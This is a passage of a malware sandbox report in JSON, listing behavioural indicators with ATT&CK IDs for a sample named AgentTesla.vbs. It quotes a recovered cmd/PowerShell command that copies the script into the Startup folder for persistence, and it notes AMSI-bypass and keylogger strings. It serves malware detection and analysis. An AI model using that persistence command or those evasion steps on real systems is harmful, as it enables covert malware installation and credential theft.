Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000764)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$50","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005228)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008104)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002120)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134358123372875930.5228.DefaultAppDomain.powershell\" - (UID: 00000000-00005228)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134358123425806027.8104.DefaultAppDomain.powershell\" - (UID: 00000000-00008104)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134358123470114395.2120.DefaultAppDomain.powershell\" - (UID: 00000000-00002120)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$51","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$52","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134358123372875930.5228.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134358123425806027.8104.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134358123470114395.2120.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$54","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at EC150000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at EC150000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at C7150000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"WScript.ScriptFullName\" with result: \"C:\\AgentTesla.vbs\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 764)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 4532)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 1020)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 5228)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Able to check internet connectivity using ping command","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs',\" (Indicator: \"ping 127\"; Source: \"00000000-00000764-00000C47-4099894052\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"ping 127\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs',\" (Indicator: \"/c ping\"; Source: \"00000000-00000764-00000C47-4099894052\")\n Found string \"ping 127.0.0.1 -n 5\" (Indicator: \"ping \"; Source: \"00000000-00004532-00000C47-196361762\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"/c ping\"; File: \"cmd.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002120.00000000.244061.67C40000.00000004.mdmp\")\n Found string \"ping 0, Gen7\" (Indicator: \"ping \"; Source: \"00000000-00002120.00000000.244061.C54A0000.00000004.mdmp, 00000000-00002120.00000001.244972.C54A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00002120-00000C2C-2803705089\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"cUrl\" (Indicator: \"curl\") in Source: 00000000-00002120.00000000.244061.C54A0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00002120-00000C2C-2803682753\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$56","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00002120\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00005228\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00008104\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE83BAA00E111B900E72CDFE6E232D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002120.00000000.244061.67C40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005228)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00008104)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002120)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005228)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008104)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00002120)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"Found string \"dir\" (Indicator: \"dir\"; Source: \"00000000-00002120.00000000.244061.C54A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$58","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"$59","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"ping\"; File: \"cmd.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002120.00000000.244061.67C40000.00000004.mdmp\")\n Found string \"ping 0, Gen7\" (Indicator: \"ping\"; Source: \"00000000-00002120.00000000.244061.C54A0000.00000004.mdmp, 00000000-00002120.00000001.244972.C54A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Command line contains PowerShell","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"THHkhPM\"\n \"Sid\": \"3137699037376\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-8LD9T6N\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"THHkhPM\"\n \"Sid\": \"2020207292744\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-8LD9T6N\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"THHkhPM\"\n \"Sid\": \"2476807414800\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-8LD9T6N\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 